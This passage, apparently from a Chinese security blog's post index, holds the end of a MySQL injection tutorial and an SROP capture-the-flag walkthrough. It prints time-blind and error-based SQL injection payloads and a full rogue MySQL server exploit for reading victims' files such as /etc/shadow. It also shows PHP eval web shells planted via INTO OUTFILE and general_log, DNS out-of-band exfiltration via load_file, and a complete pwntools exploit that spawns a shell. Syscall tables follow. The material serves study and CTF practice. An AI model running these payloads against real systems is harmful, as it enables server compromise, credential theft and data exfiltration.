'(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1) and cot(0);\n\n用rpad+rlike以及benchmark的时间盲注可以成功,但是sleep()不可以,不太清楚原因。\n(2)mysql error的前提下延时与不延时\n这个看起来有点别扭,就是不管查询结果对还是不对,一定要mysql error\n还是感觉很别扭吧……网鼎杯web有道题就是这样的场景,insert注入但是只允许插入20条数据,所以不得不构造mysql error来达到在不插入数据的条件下盲注的目的。详情见网鼎杯Writeup+闲扯\n有个很简单的方法当时没有想到,就是上面rpad+rlike的时间盲注,因为当时sleep测试是没法盲注的,但是没有测试rpad+rlike的情况,这个方法就是:\n假 or if(语句,rpad延时语句=’a’,1) and cot(0)\n这样,无论语句是真是假,都会向后执行cot(0),必然报错\n如果语句为真,则延时,如果语句为假,则不延时,这就完美的达到了目的\npayload:\nselect * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=benchmark(1000000,sha1(1)),1) and cot(0);或select * from table1 where 1=0 or if(mid(user(),1,1)='s','a'=concat(rpad(1,349525,'a'),rpad(1,349525,'a'),rpad(1,349525,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+asaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddasdasdasdasdasdasdasdasdasdasdasdadasdasdasdasdasdasdasdasdasdasdasd',1) and cot(0);\n\n当然,比赛时想到的用sleep()的方法也是可以的。\n上面提到cot(0)会报错,即cot(False)会报错,所以只要让内部为False则必定会执行\n并且我们知道sleep(x)的返回值为0:\n\n这样就很好办了,if(语句,sleep(3),0),这样语句不管为真还是假都返回False\n所以构造语句\nselect * from table1 where '1'='1' and cot(if(ascii(substr(database(),1,1))>0,sleep(3),0));\n\n(3)表名未知\n表名未知只能去猜表名,通过构造盲注去猜测表名,这里不再过多赘述。\n四.文件的读写1.读写权限\n在进行MySQL文件读写操作之前要先查看是否拥有权限,mysql文件权限存放于mysql表的file_priv字段,对应不同的User,如果可以读写,则数据库记录为Y,反之为N:\n\n我们可以通过user()查看当前用户是什么,如果对应用户具有读写权限,则往下看,反之则放弃这条路找其他的方法。\n除了要查看用户权限,还有一个地方要查看,即secure-file-priv。它是一个系统变量,用于限制读写功能,它的值有三种:\n(1)无内容,即无限制\n(2)为NULL,表示禁止文件读写\n(3)为目录名,表示仅能在此目录下读写\n可用select @@secure_file_priv查看:\n\n此处为Windows环境,可以读写的目录为E:wamp64tmp\n2.读文件\n如果满足上述2个条件,则可尝试读写文件了。\n常用的读文件的语句有如下几种:\nselect load_file(file_path);load data infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取服务端文件load data local infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取客户端文件\n\n需要注意的是,file_path必须为绝对路径,且反斜杠需要转义:\n\n3.mysql任意文件读取漏洞\n攻击原理详见:https://paper.seebug.org/1112/\nexp:\n摘自:https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py\n下面filelist是需要读取的文件列表,需要自行设置,该漏洞需要一个恶意mysql服务端,执行exp监听恶意mysql服务的对应端口,在目标服务器登录恶意mysql服务端\n#!/usr/bin/env python#coding: utf8import socketimport asyncoreimport asynchatimport structimport randomimport loggingimport logging.handlersPORT = 3306log = logging.getLogger(__name__)log.setLevel(logging.DEBUG)tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))log.addHandler( tmp_format)filelist = (# r'c:boot.ini', r'c:windowswin.ini',# r'c:windowssystem32driversetchosts',# '/etc/passwd',# '/etc/shadow',)#================================================#=======No need to change after this lines=======#================================================__author__ = 'Gifts'def daemonize(): import os, warnings if os.name != 'posix': warnings.warn('Cant create daemon on non-posix system') return if os.fork(): os._exit(0) os.setsid() if os.fork(): os._exit(0) os.umask(0o022) null=os.open('/dev/null', os.O_RDWR) for i in xrange(3): try: os.dup2(null, i) except OSError as e: if e.errno != 9: raise os.close(null)class LastPacket(Exception): passclass OutOfOrder(Exception): passclass mysql_packet(object): packet_header = struct.Struct('<Hbb') packet_header_long = struct.Struct('<Hbbb') def __init__(self, packet_type, payload): if isinstance(packet_type, mysql_packet): self.packet_num = packet_type.packet_num + 1 else: self.packet_num = packet_type self.payload = payload def __str__(self): payload_len = len(self.payload) if payload_len < 65536: header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num) else: header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num) result = "{0}{1}".format( header, self.payload ) return result def __repr__(self): return repr(str(self)) @staticmethod def parse(raw_data): packet_num = ord(raw_data[0]) payload = raw_data[1:] return mysql_packet(packet_num, payload)class http_request_handler(asynchat.async_chat): def __init__(self, addr): asynchat.async_chat.__init__(self, sock=addr[0]) self.addr = addr[1] self.ibuffer = [] self.set_terminator(3) self.state = 'LEN' self.sub_state = 'Auth' self.logined = False self.push( mysql_packet( 0, "".join(( 'x0a', # Protocol '3.0.0-Evil_Mysql_Server' + '', # Version #'5.1.66-0+squeeze1' + '', 'x36x00x00x00', # Thread ID 'evilsalt' + '', # Salt 'xdfxf7', # Capabilities 'x08', # Collation 'x02x00', # Server Status '' * 13, # Unknown 'evil2222' + '', )) ) ) self.order = 1 self.states = ['LOGIN', 'CAPS', 'ANY'] def push(self, data): log.debug('Pushed: %r', data) data = str(data) asynchat.async_chat.push(self, data) def collect_incoming_data(self, data): log.debug('Data recved: %r', data) self.ibuffer.append(data) def found_terminator(self): data = "".join(self.ibuffer) self.ibuffer = [] if self.state == 'LEN': len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1 if len_bytes < 65536: self.set_terminator(len_bytes) self.state = 'Data' else: self.state = 'MoreLength' elif self.state == 'MoreLength': if data[0] != '': self.push(None) self.close_when_done() else: self.state = 'Data' elif self.state == 'Data': packet = mysql_packet.parse(data) try: if self.order != packet.packet_num: raise OutOfOrder() else: # Fix ? self.order = packet.packet_num + 2 if packet.packet_num == 0: if packet.payload[0] == 'x03': log.info('Query') filename = random.choice(filelist) PACKET = mysql_packet( packet, 'xFB{0}'.format(filename) ) self.set_terminator(3) self.state = 'LEN' self.sub_state = 'File' self.push(PACKET) elif packet.payload[0] == 'x1b': log.info('SelectDB') self.push(mysql_packet( packet, 'xfex00x00x02x00' )) raise LastPacket() elif packet.payload[0] in 'x02': self.push(mysql_packet( packet, 'x02' )) raise LastPacket() elif packet.payload == 'x00x01': self.push(None) self.close_when_done() else: raise ValueError() else: if self.sub_state == 'File': log.info('-- result') log.info('Result: %r', data) if len(data) == 1: self.push( mysql_packet(packet, 'x02') ) raise LastPacket() else: self.set_terminator(3) self.state = 'LEN' self.order = packet.packet_num + 1 elif self.sub_state == 'Auth': self.push(mysql_packet( packet, 'x02' )) raise LastPacket() else: log.info('-- else') raise ValueError('Unknown packet') except LastPacket: log.info('Last packet') self.state = 'LEN' self.sub_state = None self.order = 0 self.set_terminator(3) except OutOfOrder: log.warning('Out of order') self.push(None) self.close_when_done() else: log.error('Unknown state') self.push('None') self.close_when_done()class mysql_listener(asyncore.dispatcher): def __init__(self, sock=None): asyncore.dispatcher.__init__(self, sock) if not sock: self.create_socket(socket.AF_INET, socket.SOCK_STREAM) self.set_reuse_addr() try: self.bind(('', PORT)) except socket.error: exit() self.listen(5) def handle_accept(self): pair = self.accept() if pair is not None: log.info('Conn from: %r', pair[1]) tmp = http_request_handler(pair)z = mysql_listener()daemonize()asyncore.loop()\n\n4.写文件\nselect 1,"<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/1.php';select 2,"<?php eval($_POST['cmd']);?>" into dumpfile '/var/www/html/1.php';\n\n当secure_file_priv值为NULL时,可用生成日志的方法绕过:\nset global general_log_file = '/var/www/html/1.php';set global general_log = on;\n\n日志除了general_log还有其他许多日志,实际场景中需要有足够的写入日志的权限,且需要堆叠注入的条件方可采用该方法,因此利用非常困难。\n5.DNSLOG(OOB注入)\n若用户访问DNS服务器,则会在DNS日志中留下记录。如果请求中带有SQL查询的信息,则信息可被带出到DNS记录中。\n利用条件:\n1.secure_file_priv为空且有文件读取权限\n2.目标为windows(利用了UNC,Linux不可行)\n3.无回显且无法时间盲注\n利用方法:\n可以找一个免费的DNSlog:http://dnslog.cn/\n进入后可获取一个子域名,执行:\nselect load_file(concat('\\\\',(select database()),'.子域名.dnslog.cn'));\n\n相当于访问了select database().子域名.dnslog.cn,于是会留下DNSLOG记录,可从这些记录中查看SQL返回的信息。\n\n","categories":["Note"]},{"title":"360chunqiu2017_smallest —— 从例题理解SROP","url":"/2021/08/29/srop1/","content":"​\n前言:        本篇博客为个人学习过程中的理解,仅记录个人理解,WIKI写的要比本篇详细得多。若与其存在矛盾,请以WIKI为准,也感谢读者指出问题。\n正文:        SROP(Sigreturn Oriented Programming),与常规ROP的区别在于通过sigreturn函数来进行返回而不是retn指令\n这里引用WIKI中对Signal机制的介绍:     \nSignal 机制 ¶Signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:\n​\n\n内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。\n内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。 ​ \n\n如下是笔者对上述内容的翻译:\n        控制流在内核与用户层间切换时使用Signal机制来保存寄存器状态(笔者认为对上下文的保存主要依托RIP寄存器。在返回上下文时恢复RIP寄存器值来回到程序代码段,但目前并不能断言)\n        常见的场景是syscall指令执行,控制流切换入内核层,然后使用sigreturn内核函数返回用户层\n        笔者目前还不能对内核进行调试,因此进入内核层时的堆栈状态暂时不可见,因此目前只是根据推测和一些资料来理解\n 如下为sigcontext结构:\n\nX86: struct sigcontext { unsigned short gs, __gsh; unsigned short fs, __fsh; unsigned short es, __esh; unsigned short ds, __dsh; unsigned long edi; unsigned long esi; unsigned long ebp; unsigned long esp; unsigned long ebx; unsigned long edx; unsigned long ecx; unsigned long eax; unsigned long trapno; unsigned long err; unsigned long eip; unsigned short cs, __csh; unsigned long eflags; unsigned long esp_at_signal; unsigned short ss, __ssh; struct _fpstate * fpstate; unsigned long oldmask; unsigned long cr2; };\n**X64:0xf8 byte ** struct _fpstate { /* FPU environment matching the 64-bit FXSAVE layout. */ __uint16_t cwd; __uint16_t swd; __uint16_t ftw; __uint16_t fop; __uint64_t rip; __uint64_t rdp; __uint32_t mxcsr; __uint32_t mxcr_mask; struct _fpxreg _st[8]; struct _xmmreg _xmm[16]; __uint32_t padding[24]; }; struct sigcontext { __uint64_t r8; __uint64_t r9; __uint64_t r10; __uint64_t r11; __uint64_t r12; __uint64_t r13; __uint64_t r14; __uint64_t r15; __uint64_t rdi; __uint64_t rsi; __uint64_t rbp; __uint64_t rbx; __uint64_t rdx; __uint64_t rax; __uint64_t rcx; __uint64_t rsp; __uint64_t rip; __uint64_t eflags; unsigned short cs; unsigned short gs; unsigned short fs; unsigned short __pad0; __uint64_t err; __uint64_t trapno; __uint64_t oldmask; __uint64_t cr2; __extension__ union { struct _fpstate * fpstate; __uint64_t __fpstate_word; }; __uint64_t __reserved1 [8]; };\n\n        在切换入内核层时,将把sigcontext结构体入栈,而在返回时则又会把占中的这些数据重新pop回寄存器\n        SROP的核心思想就是,在攻击者能够向栈中写足够字节时,通过伪造sigcontext来控制寄存器值,再通过syscall来实现任意系统调用执行(系统调用号置于文末以供参考)\n下图引用自CTF-WIKI:\n​\n        该利用称为system call chains\n        只要能够控制sigcontext且调用sigreturn,就能够控制所有寄存器的值,由此实现完全控制了(不过像“/bin/sh”这样的字符串需要额外写入到其他地方)\n例题:360chunqiu2017_smallestArch: amd64-64-littleRELRO: No RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)\n\n\n        整个程序只有一个start函数,而整个函数也只有这几行汇编指令,存在明显的栈溢出\n.text:00000000004000B0 public start.text:00000000004000B0 start proc near ; DATA XREF: LOAD:0000000000400018↑o.text:00000000004000B0 xor rax, rax.text:00000000004000B3 mov edx, 400h ; count.text:00000000004000B8 mov rsi, rsp ; buf.text:00000000004000BB mov rdi, rax ; fd.text:00000000004000BE syscall ; LINUX - sys_read.text:00000000004000C0 retn.text:00000000004000C0 start endp\n\n\n        没有canary保护,所以栈上基本能够任意写了。不过虽然没有RELRO保护,但因为程序根本就没有GOT表,所以也没办法使用system,只能通过execve(“/bin/sh”,0,0)来拿shell\n        首先需要leak一个地址,否则在之后无法计算出“/bin/sh”字符串的地址\n        标准的文件描述符如下:\n0—stdin,标准输入流1—stdout,标准输出流2—stderr,标准错误流\n\n\n        需要使用write(1,stack,n)来泄露栈上内容,阅读汇编函数能够发现,我们唯一需要控制的寄存器就是rax,当其为1时,rdi也正好能够为标准输出流,且系统调用号对应write函数,将直接从rsp出写出0x400个字节的数据\n        可以通过read函数的返回值来控制rax为1\nstart_addr = 0x00000000004000B0payload=p64(start_addr)*3p.send(payload)p.send("\\xb3")\n\n\n        最后一行将返回地址该为0x4000B3绕过了rax置零的操作,然后调用syscall自然就会泄露地址,然后重新返回到start函数地址\n        剩下的内容直接阅读exp注释更加方便:如下exp来自wiki(有修改)\nfrom pwn import *small = ELF('./smallest')#sh = process('./smallest')sh = remote("node4.buuoj.cn",28338)context.arch = 'amd64'context.log_level = 'debug'syscall_ret = 0x00000000004000BEstart_addr = 0x00000000004000B0## set start addr three timespayload = p64(start_addr) * 3sh.send(payload)yes = raw_input()## modify the return addr to start_addr+3## so that skip the xor rax,rax; then the rax=1## get stack addrsh.send('\\xb3')yes = raw_input()stack_addr = u64(sh.recv()[8:16])stack_addr = stack_addr&0xfffffffffffffff000stack_addr -=0x2000log.success('leak stack addr :' + hex(stack_addr)) ## make the rsp point to stack_addr## the frame is read(0,stack_addr,0x400)sigframe = SigreturnFrame()sigframe.rax = constants.SYS_readsigframe.rdi = 0sigframe.rsi = stack_addrsigframe.rdx = 0x400sigframe.rsp = stack_addrsigframe.rip = syscall_retpayload = p64(start_addr) + 'a' * 8 + str(sigframe)sh.send(payload)yes = raw_input()## set rax=15 and call sigreturnsigreturn = p64(syscall_ret) + 'b' * 7sh.send(sigreturn)yes = raw_input()## call execv("/bin/sh",0,0)sigframe = SigreturnFrame()sigframe.rax = constants.SYS_execvesigframe.rdi = stack_addr + 0x190 # "/bin/sh" 's addrsigframe.rsi = 0x0sigframe.rdx = 0x0sigframe.rsp = stack_addr+ 0x190sigframe.rip = syscall_ret retadd=0x4000C0 frame_payload = p64(start_addr) + 'b' * 8 + str(sigframe)print len(frame_payload)payload = frame_payload + (0x190 - len(frame_payload)) * '\\x00' + '/bin/sh\\x00'+p64(stack_addr + 0x190)sh.send(payload)yes = raw_input()sh.send(sigreturn)yes = raw_input()sh.interactive()\n\n\n        有些特殊的,笔者发现WIKI原本的exp是没办法在BUU的环境里通过的,查阅后发现似乎是因为过快的发送速度会导致read返回的值出现波动,于是使用raw_input()l在每个发送数据后断开以保证其有正确的值,然后就能通过了 \n附录:#ifndef _ASM_X86_UNISTD_32_H#define _ASM_X86_UNISTD_32_H 1#define __NR_restart_syscall 0#define __NR_exit 1#define __NR_fork 2#define __NR_read 3#define __NR_write 4#define __NR_open 5#define __NR_close 6#define __NR_waitpid 7#define __NR_creat 8#define __NR_link 9#define __NR_unlink 10#define __NR_execve 11#define __NR_chdir 12#define __NR_time 13#define __NR_mknod 14#define __NR_chmod 15#define __NR_lchown 16#define __NR_break 17#define __NR_oldstat 18#define __NR_lseek 19#define __NR_getpid 20#define __NR_mount 21#define __NR_umount 22#define __NR_setuid 23#define __NR_getuid 24#define __NR_stime 25#define __NR_ptrace 26#define __NR_alarm 27#define __NR_oldfstat 28#define __NR_pause 29#define __NR_utime 30#define __NR_stty 31#define __NR_gtty 32#define __NR_access 33#define __NR_nice 34#define __NR_ftime 35#define __NR_sync 36#define __NR_kill 37#define __NR_rename 38#define __NR_mkdir 39#define __NR_rmdir 40#define __NR_dup 41#define __NR_pipe 42#define __NR_times 43#define __NR_prof 44#define __NR_brk 45#define __NR_setgid 46#define __NR_getgid 47#define __NR_signal 48#define __NR_geteuid 49#define __NR_getegid 50#define __NR_acct 51#define __NR_umount2 52#define __NR_lock 53#define __NR_ioctl 54#define __NR_fcntl 55#define __NR_mpx 56#define __NR_setpgid 57#define __NR_ulimit 58#define __NR_oldolduname 59#define __NR_umask 60#define __NR_chroot 61#define __NR_ustat 62#define __NR_dup2 63#define __NR_getppid 64#define __NR_getpgrp 65#define __NR_setsid 66#define __NR_sigaction 67#define __NR_sgetmask 68#define __NR_ssetmask 69#define __NR_setreuid 70#define __NR_setregid 71#define __NR_sigsuspend 72#define __NR_sigpending 73#define __NR_sethostname 74#define __NR_setrlimit 75#define __NR_getrlimit 76#define __NR_getrusage 77#define __NR_gettimeofday 78#define __NR_settimeofday 79#define __NR_getgroups 80#define __NR_setgroups 81#define __NR_select 82#define __NR_symlink 83#define __NR_oldlstat 84#define __NR_readlink 85#define __NR_uselib 86#define __NR_swapon 87#define __NR_reboot 88#define __NR_readdir 89#define __NR_mmap 90#define __NR_munmap 91#define __NR_truncate 92#define __NR_ftruncate 93#define __NR_fchmod 94#define __NR_fchown 95#define __NR_getpriority 96#define __NR_setpriority 97#define __NR_profil 98#define __NR_statfs 99#define __NR_fstatfs 100#define __NR_ioperm 101#define __NR_socketcall 102#define __NR_syslog 103#define __NR_setitimer 104#define __NR_getitimer 105#define __NR_stat 106#define __NR_lstat 107#define __NR_fstat 108#define __NR_olduname 109#define __NR_iopl 110#define __NR_vhangup 111#define __NR_idle 112#define __NR_vm86old 113#define __NR_wait4 114#define __NR_swapoff 115#define __NR_sysinfo 116#define __NR_ipc 117#define __NR_fsync 118#define __NR_sigreturn 119#define __NR_clone 120#define __NR_setdomainname 121#define __NR_uname 122#define __NR_modify_ldt 123#define __NR_adjtimex 124#define __NR_mprotect 125#define __NR_sigprocmask 126#define __NR_create_module 127#define __NR_init_module 128#define __NR_delete_module 129#define __NR_get_kernel_syms 130#define __NR_quotactl 131#define __NR_getpgid 132#define __NR_fchdir 133#define __NR_bdflush 134#define __NR_sysfs 135#define __NR_personality 136#define __NR_afs_syscall 137#define __NR_setfsuid 138#define __NR_setfsgid 139#define __NR__llseek 140#define __NR_getdents 141#define __NR__newselect 142#define __NR_flock 143#define __NR_msync 144#define __NR_readv 145#define __NR_writev 146#define __NR_getsid 147#define __NR_fdatasync 148#define __NR__sysctl 149#define __NR_mlock 150#define __NR_munlock 151#define __NR_mlockall 152#define __NR_munlockall 153#define __NR_sched_setparam 154#define __NR_sched_getparam 155#define __NR_sched_setscheduler 156#define __NR_sched_getscheduler 157#define __NR_sched_yield 158#define __NR_sched_get_priority_max 159#define __NR_sched_get_priority_min 160#define __NR_sched_rr_get_interval 161#define __NR_nanosleep 162#define __NR_mremap 163#define __NR_setresuid 164#define __NR_getresuid 165#define __NR_vm86 166#define __NR_query_module 167#define __NR_poll 168#define __NR_nfsservctl 169#define __NR_setresgid 170#define __NR_getresgid 171#define __NR_prctl 172#define __NR_rt_sigreturn 173#define __NR_rt_sigaction 174#define __NR_rt_sigprocmask 175#define __NR_rt_sigpending 176#define __NR_rt_sigtimedwait 177#define __NR_rt_sigqueueinfo 178#define __NR_rt_sigsuspend 179#define __NR_pread64 180#define __NR_pwrite64 181#define __NR_chown 182#define __NR_getcwd 183#define __NR_capget 184#define __NR_capset 185#define __NR_sigaltstack 186#define __NR_sendfile 187#define __NR_getpmsg 188#define __NR_putpmsg 189#define __NR_vfork 190#define __NR_ugetrlimit 191#define __NR_mmap2 192#define __NR_truncate64 193#define __NR_ftruncate64 194#define __NR_stat64 195#define __NR_lstat64 196#define __NR_fstat64 197#define __NR_lchown32 198#define __NR_getuid32 199#define __NR_getgid32 200#define __NR_geteuid32 201#define __NR_getegid32 202#define __NR_setreuid32 203#define __NR_setregid32 204#define __NR_getgroups32 205#define __NR_setgroups32 206#define __NR_fchown32 207#define __NR_setresuid32 208#define __NR_getresuid32 209#define __NR_setresgid32 210#define __NR_getresgid32 211#define __NR_chown32 212#define __NR_setuid32 213#define __NR_setgid32 214#define __NR_setfsuid32 215#define __NR_setfsgid32 216#define __NR_pivot_root 217#define __NR_mincore 218#define __NR_madvise 219#define __NR_getdents64 220#define __NR_fcntl64 221#define __NR_gettid 224#define __NR_readahead 225#define __NR_setxattr 226#define __NR_lsetxattr 227#define __NR_fsetxattr 228#define __NR_getxattr 229#define __NR_lgetxattr 230#define __NR_fgetxattr 231#define __NR_listxattr 232#define __NR_llistxattr 233#define __NR_flistxattr 234#define __NR_removexattr 235#define __NR_lremovexattr 236#define __NR_fremovexattr 237#define __NR_tkill 238#define __NR_sendfile64 239#define __NR_futex 240#define __NR_sched_setaffinity 241#define __NR_sched_getaffinity 242#define __NR_set_thread_area 243#define __NR_get_thread_area 244#define __NR_io_setup 245#define __NR_io_destroy 246#define __NR_io_getevents 247#define __NR_io_submit 248#define __NR_io_cancel 249#define __NR_fadvise64 250#define __NR_exit_group 252#define __NR_lookup_dcookie 253#define __NR_epoll_create 254#define __NR_epoll_ctl 255#define __NR_epoll_wait 256#define __NR_remap_file_pages 257#define __NR_set_tid_address 258#define __NR_timer_create 259#define __NR_timer_settime 260#define __NR_timer_gettime 261#define __NR_timer_getoverrun 262#define __NR_timer_delete 263#define __NR_clock_settime 264#define __NR_clock_gettime 265#define __NR_clock_getres 266#define __NR_clock_nanosleep 267#define __NR_statfs64 268#define __NR_fstatfs64 269#define __NR_tgkill 270#define __NR_utimes 271#define __NR_fadvise64_64 272#define __NR_vserver 273#define __NR_mbind 274#define __NR_get_mempolicy 275#define __NR_set_mempolicy 276#define __NR_mq_open 277#define __NR_mq_unlink 278#define __NR_mq_timedsend 279#define __NR_mq_timedreceive 280#define __NR_mq_notify 281#define __NR_mq_getsetattr 282#define __NR_kexec_load 283#define __NR_waitid 284#define __NR_add_key 286#define __NR_request_key 287#define __NR_keyctl 288#define __NR_ioprio_set 289#define __NR_ioprio_get 290#define __NR_inotify_init 291#define __NR_inotify_add_watch 292#define __NR_inotify_rm_watch 293#define __NR_migrate_pages 294#define __NR_openat 295#define __NR_mkdirat 296#define __NR_mknodat 297#define __NR_fchownat 298#define __NR_futimesat 299#define __NR_fstatat64 300#define __NR_unlinkat 301#define __NR_renameat 302#define __NR_linkat 303#define __NR_symlinkat 304#define __NR_readlinkat 305#define __NR_fchmodat 306#define __NR_faccessat 307#define __NR_pselect6 308#define __NR_ppoll 309#define __NR_unshare 310#define __NR_set_robust_list 311#define __NR_get_robust_list 312#define __NR_splice 313#define __NR_sync_file_range 314#define __NR_tee 315#define __NR_vmsplice 316#define __NR_move_pages 317#define __NR_getcpu 318#define __NR_epoll_pwait 319#define __NR_utimensat 320#define __NR_signalfd 321#define __NR_timerfd_create 322#define __NR_eventfd 323#define __NR_fallocate 324#define __NR_timerfd_settime 325#define __NR_timerfd_gettime 326#define __NR_signalfd4 327#define __NR_eventfd2 328#define __NR_epoll_create1 329#define __NR_dup3 330#define __NR_pipe2 331#define __NR_inotify_init1 332#define __NR_preadv 333#define __NR_pwritev 334#define __NR_rt_tgsigqueueinfo 335#define __NR_perf_event_open 336#define __NR_recvmmsg 337#define __NR_fanotify_init 338#define __NR_fanotify_mark 339#define __NR_prlimit64 340#define __NR_name_to_handle_at 341#define __NR_open_by_handle_at 342#define __NR_clock_adjtime 343#define __NR_syncfs 344#define __NR_sendmmsg 345#define __NR_setns 346#define __NR_process_vm_readv 347#define __NR_process_vm_writev 348#define __NR_kcmp 349#define __NR_finit_module 350#define __NR_sched_setattr 351#define __NR_sched_getattr 352#define __NR_renameat2 353#define __NR_seccomp 354#define __NR_getrandom 355#define __NR_memfd_create 356#define __NR_bpf 357#define __NR_execveat 358#define __NR_socket 359#define __NR_socketpair 360#define __NR_bind 361#define __NR_connect 362#define __NR_listen 363#define __NR_accept4 364#define __NR_getsockopt 365#define __NR_setsockopt 366#define __NR_getsockname 367#define __NR_getpeername 368#define __NR_sendto 369#define __NR_sendmsg 370#define __NR_recvfrom 371#define __NR_recvmsg 372#define __NR_shutdown 373#define __NR_userfaultfd 374#define __NR_membarrier 375#define __NR_mlock2 376#define __NR_copy_file_range 377#define __NR_preadv2 378#define __NR_pwritev2 379#endif /* _ASM_X86_UNISTD_32_H */\n\n\n#ifndef _ASM_X86_UNISTD_64_H#define _ASM_X86_UNISTD_64_H 1#define __NR_read 0#define __NR_write 1#define __NR_open 2#define __NR_close 3#define __NR_stat 4#define __NR_fstat 5#define __NR_lstat 6#define __NR_poll 7#define __NR_lseek 8#define __NR_mmap 9#define __NR_mprotect 10#define __NR_munmap 11#define __NR_brk 12#define __NR_rt_sigaction 13#define __NR_rt_sigprocmask 14#define __NR_rt_sigreturn 15#define __NR_ioctl 16#define __NR_pread64 17#define __NR_pwrite64 18#define __NR_readv 19#define __NR_writev 20#define __NR_access 21#define __NR_pipe 22#define __NR_select 23#define __NR_sched_yield 24#define __NR_mremap 25#define __NR_msync 26#define __NR_mincore 27#define __NR_madvise 28#define __NR_shmget 29#define __NR_shmat 30#define __NR_shmctl 31#define __NR_dup 32#define __NR_dup2 33#define __NR_pause 34#define __NR_nanosleep 35#define __NR_getitimer 36#define __NR_alarm 37#define __NR_setitimer 38#define __NR_getpid 39#define __NR_sendfile 40#define __NR_socket 41#define __NR_connect 42#define __NR_accept 43#define __NR_sendto 44#define __NR_recvfrom 45#define __NR_sendmsg 46#define __NR_recvmsg 47#define __NR_shutdown 48#define __NR_bind 49#define __NR_listen 50#define __NR_getsockname 51#define __NR_getpeername 52#define __NR_socketpair 53#define __NR_setsockopt 54#define __NR_getsockopt 55#define __NR_clone 56#define __NR_fork 57#define __NR_vfork 58#define __NR_execve 59#define __NR_exit 60#define __NR_wait4 61#define __NR_kill 62#define __NR_uname 63#define __NR_semget 64#define __NR_semop 65#define __NR_semctl 66#define __NR_shmdt 67#define __NR_msgget 68#define __NR_msgsnd 69#define __NR_msgrcv 70#define __NR_msgctl 71#define __NR_fcntl 72#define __NR_flock 73#define __NR_fsync 74#define __NR_fdatasync 75#define __NR_truncate 76#define __NR_ftruncate 77#define __NR_getdents 78#define __NR_getcwd 79#define __NR_chdir 80#define __NR_fchdir 81#define __NR_rename 82#define __NR_mkdir 83#define __NR_rmdir 84#define __NR_creat 85#define __NR_link 86#define __NR_unlink 87#define __NR_symlink 88#define __NR_readlink 89#define __NR_chmod 90#define __NR_fchmod 91#define __NR_chown 92#define __NR_fchown 93#define __NR_lchown 94#define __NR_umask 95#define __NR_gettimeofday 96#define __NR_getrlimit 97#define __NR_getrusage 98#define __NR_sysinfo 99#define __NR_times 100#define __NR_ptrace 101#define __NR_getuid 102#define __NR_syslog 103#define __NR_getgid 104#define __NR_setuid 105#define __NR_setgid 106#define __NR_geteuid 107#define __NR_getegid 108#define __NR_setpgid 109#define __NR_getppid 110#define __NR_getpgrp 111#define __NR_setsid 112#define __NR_setreuid 113#define __NR_setregid 114#define __NR_getgroups 115#define __NR_setgroups 116#define __NR_setresuid 117#define __NR_getresuid 118#define __NR_setresgid 119#define __NR_getresgid 120#define __NR_getpgid 121#define __NR_setfsuid 122#define __NR_setfsgid 123#define __NR_getsid 124#define __NR_capget 125#define __NR_capset 126#define __NR_rt_sigpending 127#define __NR_rt_sigtimedwait 128#define __NR_rt_sigqueueinfo 129#define __NR_rt_sigsuspend 130#define __NR_sigaltstack 131#define __NR_utime 132#define __NR_mknod 133#define __NR_uselib 134#define __NR_personality 135#define __NR_ustat 136#define __NR_statfs 137#define __NR_fstatfs 138#define __NR_sysfs 139#define __NR_getpriority 140#define __NR_setpriority 141#define __NR_sched_setparam 142#define __NR_sched_getparam 